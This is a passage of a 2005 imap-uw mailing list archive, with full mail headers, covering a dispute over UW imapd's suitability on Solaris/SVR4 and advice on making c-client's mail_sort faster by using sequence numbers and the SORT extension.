ESMTP id <2005081720000801300ojsdqe>; Wed, 17 Aug 2005 20:00:08 +0000 Received: from [IPv6:2001:408:1010:20:230:65ff:fe50:82a] (magrathea.distal.com [IPv6:2001:408:1010:20:230:65ff:fe50:82a]) by mail.distal.com (8.13.3/8.13.3) with ESMTP id j7HJxKJh027379; Wed, 17 Aug 2005 15:59:21 -0400 (EDT) In-Reply-To: References: <1a49c76498934f9e47f451dfc824b125@fullmesh.net> Mime-Version: 1.0 (Apple Message framework v622) Content-Type: text/plain; charset=US-ASCII; format=flowed Message-Id: <3040e266e9d2b7e20af84537468404c5@fullmesh.net> Content-Transfer-Encoding: 7bit From: Chris Ross Subject: Re: [Imap-uw] Imapd-2004e and Solaris 10 Date: Wed, 17 Aug 2005 15:59:21 -0400 To: Mark Crispin X-Mailer: Apple Mail (2.622) X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __HAS_X_MAILER 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __MIME_VERSION_APPLEMAIL 0, __SANE_MSGID 0, __STOCK_CRUFT 0, __USER_AGENT_APPLEMAIL 0, __X_MAILER_APPLEMAIL 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Aug 17, 2005, at 14:53, Mark Crispin wrote: > It's "preferred" in that it permits longer passwords than the legacy > getpass(). On most other systems they just increased the length that > getpass() returns. > > If you don't need passwords longer than 8 characters in the mailutil > program, it doesn't matter either way. It is not an imapd issue in > any way. > >> It seems like another mechanism should be found to test for it is >> /lib/libc.a has gone away in Solaris 10... > > I agree, but getting the necessary information out of Sun is like > pulling teeth. This is not the first time that something like this > has happened. Past experience makes me reluctant to waste much more > time with Sun, especially since this particular question only affects > mailutil. > > In general, SVR4 based systems (such as Solaris, HP-UX, and AIX) are > not recommended platforms for an IMAP server. These systems are > expensive and the SVR4 kernel has severe deficiencies which render it > particularly unsuitable for IMAP usage. > > BSD and Linux are technically far superior to SVR4 for IMAP service, > cost much less, and run on much less expensive hardware. This is clearly an opinion issue. Your cost issues are not relevant, now that Solaris 10 is free, and runs on the same x86/amd64 hardware your BSD and Linux versions do. I am one who prefers BSD systems myself, but you shouldn't make such pronouncements about Solaris, or SysV in general. Why don't you solve this the same way autoconf does? Ship a little 5 line program that you try to link. If it links, you know there's a getpassphrase. If not, you can presume there's not. I know it's not the cleanest way, but it does do the job and is easier than pulling teeth. - Chris _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Wed Aug 17 13:21:28 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 17 Aug 2005 13:21:28 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.06) with ESMTP id j7HKLR0H019746 for ; Wed, 17 Aug 2005 13:21:27 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7HKLRvB015147 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 17 Aug 2005 13:21:27 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7HKKr2S025691; Wed, 17 Aug 2005 13:20:53 -0700 Received: from mxi3.u.washington.edu (mxi3.u.washington.edu [140.142.32.176]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7HKKqeh025677 for ; Wed, 17 Aug 2005 13:20:52 -0700 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.134]) by mxi3.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7HKKplc002329 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Wed, 17 Aug 2005 13:20:52 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7HKKoo4011229 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 17 Aug 2005 13:20:50 -0700 X-Auth-Received: from Shimo-Tomobiki.panda.com ([65.122.177.186]) (authenticated authid=mrc) by smtp.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j7HKKlb3008117 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Wed, 17 Aug 2005 13:20:49 -0700 Date: Wed, 17 Aug 2005 13:20:46 -0700 From: Mark Crispin To: Chris Ross Subject: Re: [Imap-uw] Imapd-2004e and Solaris 10 In-Reply-To: <3040e266e9d2b7e20af84537468404c5@fullmesh.net> Message-ID: References: <1a49c76498934f9e47f451dfc824b125@fullmesh.net> <3040e266e9d2b7e20af84537468404c5@fullmesh.net> X-Reply-UID: (2 > )(1 1012860566 270673){ndcms.cac.washington.edu:143/imap/tls/user="mrc"}INBOX X-Reply-Mbox: {NDCMS.CAC.Washington.EDU/tls/user=mrc}INBOX X-Cursor-Pos: : 523 X-Our-Headers: Organization Organization: Networks & Distributed Computing MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Wed, 17 Aug 2005, Chris Ross wrote: > I am one who prefers BSD systems myself, but you shouldn't make > such pronouncements about Solaris, or SysV in general. Solaris, like all other SVR4 type systems, has serious technical deficiences in its kernel which render it unsuitable for use with an IMAP server. This is my opinion, but it is strongly rooted in verifiable fact. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Wed Aug 17 15:01:09 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 17 Aug 2005 15:01:09 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.06) with ESMTP id j7HM19pZ025799 for ; Wed, 17 Aug 2005 15:01:09 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7HM183e021320 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 17 Aug 2005 15:01:08 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7HM111n003837; Wed, 17 Aug 2005 15:01:01 -0700 Received: from mxe7.u.washington.edu (mxe7.u.washington.edu [140.142.32.169]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7HM11Wp003829 for ; Wed, 17 Aug 2005 15:01:01 -0700 Received: from mx-sanjose.cadence.com (mx-sanjose.Cadence.COM [158.140.2.60]) by mxe7.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7HM10Zq018646 for ; Wed, 17 Aug 2005 15:01:00 -0700 Received: from pony-express.cadence.com (localhost [127.0.0.1]) by mx-sanjose.cadence.com (8.12.9/8.12.9) with ESMTP id j7HM0xTq001210; Wed, 17 Aug 2005 15:00:59 -0700 (PDT) Received: from metis (metis.cAdence.COM [158.140.48.93]) by pony-express.cadence.com (8.12.8/8.8.5) with SMTP id j7HM0o9i011199; Wed, 17 Aug 2005 15:00:50 -0700 (PDT) Message-Id: <200508172200.j7HM0o9i011199@pony-express.cadence.com> Date: Wed, 17 Aug 2005 15:00:57 -0700 (PDT) From: Gregory Hicks Subject: Re: [Imap-uw] Imapd-2004e and Solaris 10 To: MRC@cac.washington.edu MIME-Version: 1.0 Content-Type: TEXT/plain; charset=us-ascii Content-MD5: 47EyyDi5NipKn/nqL0hsjg== X-Mailer: dtmail 1.3.0 @(#)CDE Version 1.4.8 SunOS 5.8 sun4u sparc X-Received: By mx-sanjose.cadence.com as j7HM0xTq001210 at Wed Aug 17 15:00:59 2005 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__C230066_P5 0, __CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __HAS_X_MAILER 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list Reply-To: Gregory Hicks List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu > Date: Wed, 17 Aug 2005 13:20:46 -0700 > From: Mark Crispin > > On Wed, 17 Aug 2005, Chris Ross wrote: > > I am one who prefers BSD systems myself, but you shouldn't make > > such pronouncements about Solaris, or SysV in general. > > Solaris, like all other SVR4 type systems, has serious technical > deficiences in its kernel which render it unsuitable for use with an > IMAP server. > > This is my opinion, but it is strongly rooted in verifiable fact. I must have the only Solaris IMAP server in the world that works and works and keeps on working... (I'm thinking of changing the name of the machine to e-bunny (using as an example, the "Energizer Bunny") since it keep on running...) (Maybe not. Energizer might take offense...) ------------------------------------------------------------------- Gregory Hicks | Principal Systems Engineer Cadence Design Systems | Direct: 408.576.3609 555 River Oaks Pkwy M/S 6B1 | Fax: 408.894.3400 San Jose, CA 95134 | Internet: ghicks@cadence.com I am perfectly capable of learning from my mistakes. I will surely learn a great deal today. "A democracy is a sheep and two wolves deciding on what to have for lunch. Freedom is a well armed sheep contesting the results of the decision." - Benjamin Franklin "The best we can hope for concerning the people at large is that they be properly armed." --Alexander Hamilton _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Wed Aug 17 15:38:57 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 17 Aug 2005 15:38:57 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.06) with ESMTP id j7HMcv1Q028192 for ; Wed, 17 Aug 2005 15:38:57 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7HMcu56013926 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 17 Aug 2005 15:38:56 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7HMcjCv007469; Wed, 17 Aug 2005 15:38:45 -0700 Received: from mxi3.u.washington.edu (mxi3.u.washington.edu [140.142.32.176]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7HMciOB007460 for ; Wed, 17 Aug 2005 15:38:44 -0700 Received: from mxout4.cac.washington.edu (mxout4.cac.washington.edu [140.142.33.19]) by mxi3.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7HMceHb016659 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Wed, 17 Aug 2005 15:38:41 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout4.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7HMceQZ030688 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 17 Aug 2005 15:38:40 -0700 X-Auth-Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated authid=mrc) by smtp.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j7HMceil032468 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Wed, 17 Aug 2005 15:38:40 -0700 Date: Wed, 17 Aug 2005 15:38:40 -0700 (Pacific Daylight Time) From: Mark Crispin To: Gregory Hicks Subject: Re: [Imap-uw] Imapd-2004e and Solaris 10 In-Reply-To: <200508172200.j7HM0o9i011199@pony-express.cadence.com> Message-ID: References: <200508172200.j7HM0o9i011199@pony-express.cadence.com> Organization: Networks & Distributed Computing MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Wed, 17 Aug 2005, Gregory Hicks wrote: > I must have the only Solaris IMAP server in the world that works and > works and keeps on working... There are different definitions of "works". The fact that imapd works as well as it does on SVR4 is largely due to extensive workarounds (developed over a period of *years*) to the deficiencies in that kernel. The only purpose of those workarounds is to get SVR4 to run as close to "as well as Linux and BSD" as possible. Nevertheless, imapd does not, and will never, work as well on SVR4 systems (such as Solaris) as on comparable hardware running Linux or BSD. I wish that was not the case. After years of beating my head against the SVR4 brick wall, I conceed defeat. The worst problem with SVR4 is that imapd is obliged to use POSIX locking instead of BSD-style flock(). This, in turn, requires it to spawn a child process to support the DELETE, RENAME, STATUS, SCAN, COPY, and APPEND commands, along with an elaborate communication protocol that has to take place between imapd and this child process. This consumes greater systems resources and adds fragility, yet has not fully overcome the problems caused by POSIX locking. The bottom line is that, for whatever definition of "works" that you observe on your Solaris (or other SVR4) system, imapd will always work *better* under Linux or BSD: fewer crashes, fewer corrupted mailboxes, and the ability to run more simultaneous sessions faster. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Thu Aug 18 21:14:45 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 18 Aug 2005 21:14:44 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.06) with ESMTP id j7J4EiLo022372 for ; Thu, 18 Aug 2005 21:14:44 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7J4Ehnv014295 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 18 Aug 2005 21:14:44 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7J4EPPe025681; Thu, 18 Aug 2005 21:14:25 -0700 Received: from mxe1.u.washington.edu (mxe1.u.washington.edu [140.142.32.136]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7J428X6024950 for ; Thu, 18 Aug 2005 21:02:08 -0700 Received: from sj-iport-3.cisco.com (sj-iport-3-in.cisco.com [171.71.176.72]) by mxe1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7J425fs002804 for ; Thu, 18 Aug 2005 21:02:05 -0700 Received: from sj-core-1.cisco.com (171.71.177.237) by sj-iport-3.cisco.com with ESMTP; 18 Aug 2005 21:02:05 -0700 X-IronPort-AV: i="3.96,123,1122879600"; d="scan'208,217"; a="333672972:sNHT32999866" Received: from xbh-sjc-211.amer.cisco.com (xbh-sjc-211.cisco.com [171.70.151.144]) by sj-core-1.cisco.com (8.12.10/8.12.6) with ESMTP id j7J41u0P006512 for ; Thu, 18 Aug 2005 21:02:03 -0700 (PDT) Received: from xfe-sjc-212.amer.cisco.com ([171.70.151.187]) by xbh-sjc-211.amer.cisco.com with Microsoft SMTPSVC(6.0.3790.211); Thu, 18 Aug 2005 21:01:59 -0700 Received: from [10.94.178.108] ([10.94.178.108]) by xfe-sjc-212.amer.cisco.com with Microsoft SMTPSVC(6.0.3790.211); Thu, 18 Aug 2005 21:01:59 -0700 Message-ID: <430559B6.8010303@cisco.com> Date: Thu, 18 Aug 2005 22:01:58 -0600 From: Andrew Biggs User-Agent: Mozilla Thunderbird 1.0.2 (Windows/20050317) X-Accept-Language: en-us, en MIME-Version: 1.0 To: c-client@u.washington.edu X-OriginalArrivalTime: 19 Aug 2005 04:01:59.0353 (UTC) FILETIME=[BF5A7290:01C5A472] X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTYPE_HAS_BOUNDARY 0, __CTYPE_MULTIPART 0, __HAS_MSGID 0, __MIME_HTML 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0, __TAG_EXISTS_HTML 0, __USER_AGENT 0' X-Mailman-Approved-At: Thu, 18 Aug 2005 21:14:24 -0700 Cc: Subject: [Imap-uw] ideas on improving efficiency of calls to mail_sort? X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Content-Type: multipart/mixed; boundary="===============1033507207==" Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu --===============1033507207== Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Hello,

    I'm using the c-client library as part of a client application, and was hoping for some advice on how I might change the way I'm using it to improve performance.  Specifically, I've run into some slowdowns when I use the mail_sort function to retrieve a sorted list of message UID's from a large mailbox (several thousand messages).  What appears to be happening is that the mail_sort is dutifully executing an IMAP search, but subsequently calling what appears to be the equivalent of a mail_fetchfast on each message individually:

    0000000e SEARCH UNDELETED UNSEEN NOT (HEADER X-Priority 1)
    * SEARCH 26 27 28 29 30 31 32 <...snipped over 1000 UID's ...> 1205 1206 1207 1208
    0000000e OK SEARCH completed.
    0000000f FETCH 26 (UID INTERNALDATE RFC822.SIZE FLAGS)
    * 26 FETCH (UID 46 INTERNALDATE "10-Aug-2005 21:33:47 -0600" RFC822.SIZE 20687 FLAGS ())
    0000000f OK FETCH completed.
    00000010 FETCH 27 (UID INTERNALDATE RFC822.SIZE FLAGS)
    * 27 FETCH (UID 47 INTERNALDATE "10-Aug-2005 21:33:47 -0600" RFC822.SIZE 20687 FLAGS ())
    00000010 OK FETCH completed.
    00000011 FETCH 28 (UID INTERNALDATE RFC822.SIZE FLAGS)
    * 28 FETCH (UID 48 INTERNALDATE "10-Aug-2005 21:33:48 -0600" RFC822.SIZE 20685 FLAGS ())
    00000011 OK FETCH completed.
    00000012 FETCH 29 (UID INTERNALDATE RFC822.SIZE FLAGS)
    * 29 FETCH (UID 49 INTERNALDATE "10-Aug-2005 21:33:48 -0600" RFC822.SIZE 20686 FLAGS ())
    00000012 OK FETCH completed.
    00000013 FETCH 30 (UID INTERNALDATE RFC822.SIZE FLAGS)
    * 30 FETCH (UID 50 INTERNALDATE "10-Aug-2005 21:33:48 -0600" RFC822.SIZE 20687 FLAGS ())
    00000013 OK FETCH completed.
    00000014 FETCH 31 (UID INTERNALDATE RFC822.SIZE FLAGS)
    * 31 FETCH (UID 51 INTERNALDATE "10-Aug-2005 21:33:48 -0600" RFC822.SIZE 20687 FLAGS ())
    00000014 OK FETCH completed.
    00000015 FETCH 32 (UID INTERNALDATE RFC822.SIZE FLAGS)
    * 32 FETCH (UID 52 INTERNALDATE "10-Aug-2005 21:33:48 -0600" RFC822.SIZE 20687 FLAGS ())
    00000015 OK FETCH completed.
    <... etc etc ...>

    Any suggestions or advice on other calls or perhaps different cache settings I could try to speed this up a bit?  I figure there must be some way to either pre-fetch the internaldate (which I'm sorting on) or at least batch the fetch calls up somehow.

    Thanks!
    Andrew
    --===============1033507207== Content-Type: text/plain; charset="us-ascii" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Disposition: inline _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw --===============1033507207==-- From pinedev@shivax2.cac.washington.edu Thu Aug 18 21:36:41 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 18 Aug 2005 21:36:41 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.06) with ESMTP id j7J4aeBh023093 for ; Thu, 18 Aug 2005 21:36:40 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7J4ad4G005773 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 18 Aug 2005 21:36:40 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7J4aMmb026898; Thu, 18 Aug 2005 21:36:22 -0700 Received: from mxi1.u.washington.edu (mxi1.u.washington.edu [140.142.32.143]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7J4ZTlu026826 for ; Thu, 18 Aug 2005 21:35:29 -0700 Received: from mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.166]) by mxi1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7J4ZTtC024751 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Thu, 18 Aug 2005 21:35:29 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout3.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7J4ZSsO027423 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 18 Aug 2005 21:35:28 -0700 X-Auth-Received: from pangtzu.panda.com (pangtzu.panda.com [206.124.149.117]) (authenticated authid=mrc) by smtp.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j7J4ZRc8000381 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Thu, 18 Aug 2005 21:35:28 -0700 Date: Thu, 18 Aug 2005 21:35:26 -0700 (PDT) From: Mark Crispin To: Andrew Biggs Subject: Re: [Imap-uw] ideas on improving efficiency of calls to mail_sort? In-Reply-To: <430559B6.8010303@cisco.com> Message-ID: References: <430559B6.8010303@cisco.com> MIME-Version: 1.0 Content-Type: TEXT/Plain; CHARSET=US-ASCII; format=flowed Content-ID: X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' X-Mailman-Approved-At: Thu, 18 Aug 2005 21:36:21 -0700 Cc: c-client@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Hello - The c-client mailing list has been renamed to the imap-uw mailing list. The fundamental problem is that your server does not implement the IMAP SORT extension. You would not have this problem with a server that offers SORT. Next, what options are you giving to mail_sort()? If you are setting SE_UID, then the code does not (can not) do any prefetching. This is because c-client's cache is completely implemented by message sequence number, not by UID. In general, options such as SE_UID and FT_UID should be avoided, especially when doing multiple message operations. Instead, get the sequence numbers, and then afterwards translate them to UIDs (if that is what you want) via mail_uid(). This may sound backwards to someone who is thinking in terms of UIDs, but trust me, c-client cache will be happier and will reward you for your cooperation. You may find the use of sequence numbers to be beneficial in other ways as well; use UIDs just for synchronization and do everything else with sequence numbers. c-client will reward you for that as well. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Fri Aug 19 07:16:22 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 19 Aug 2005 07:16:22 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.06) with ESMTP id j7JEGMf9018744 for ; Fri, 19 Aug 2005 07:16:22 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7JEGH4x007108 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 19 Aug 2005 07:16:18 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7JEG9pW025114; Fri, 19 Aug 2005 07:16:09 -0700 Received: from mxe2.u.washington.edu (mxe2.u.washington.edu [140.142.33.14]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7JEG81R025106 for ; Fri, 19 Aug 2005 07:16:08 -0700 Received: from sj-iport-3.cisco.com (sj-iport-3-in.cisco.com [171.71.176.72]) by mxe2.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7JEG81r002696 for ; Fri, 19 Aug 2005 07:16:08 -0700 Received: from sj-core-2.cisco.com (171.71.177.254) by sj-iport-3.cisco.com with ESMTP; 19 Aug 2005 07:16:08 -0700 X-IronPort-AV: i="3.96,125,1122879600"; d="scan'208,217"; a="333834762:sNHT33926824" Received: from xbh-sjc-211.amer.cisco.com (xbh-sjc-211.cisco.com [171.70.151.144]) by sj-core-2.cisco.com (8.12.10/8.12.6) with ESMTP id j7JEFNQs003067 for ; Fri, 19 Aug 2005 07:15:59 -0700 (PDT) Received: from xfe-sjc-211.amer.cisco.com ([171.70.151.174]) by xbh-sjc-211.amer.cisco.com with Microsoft SMTPSVC(6.0.3790.211); Fri, 19 Aug 2005 07:15:51 -0700 Received: from [10.94.178.108] ([10.94.178.108]) by xfe-sjc-211.amer.cisco.com with Microsoft SMTPSVC(6.0.3790.211); Fri, 19 Aug 2005 07:15:51 -0700 Message-ID: <4305E997.8050509@cisco.com> Date: Fri, 19 Aug 2005 08:15:51 -0600 From: Andrew Biggs User-Agent: Mozilla Thunderbird 1.0.2 (Windows/20050317) X-Accept-Language: en-us, en MIME-Version: 1.0 To: imap-uw@u.washington.edu X-OriginalArrivalTime: 19 Aug 2005 14:15:51.0632 (UTC) FILETIME=[811A3500:01C5A4C8] X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTYPE_HAS_BOUNDARY 0, __CTYPE_MULTIPART 0, __HAS_MSGID 0, __MIME_HTML 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0, __TAG_EXISTS_HTML 0, __USER_AGENT 0, __query.bondedsender.org_TIMEOUT ' Subject: [Imap-uw] ideas on improving efficiency of calls to mail_sort? X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Content-Type: multipart/mixed; boundary="===============1961171501==" Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu --===============1961171501== Content-Type: text/html; charset=ISO-8859-1 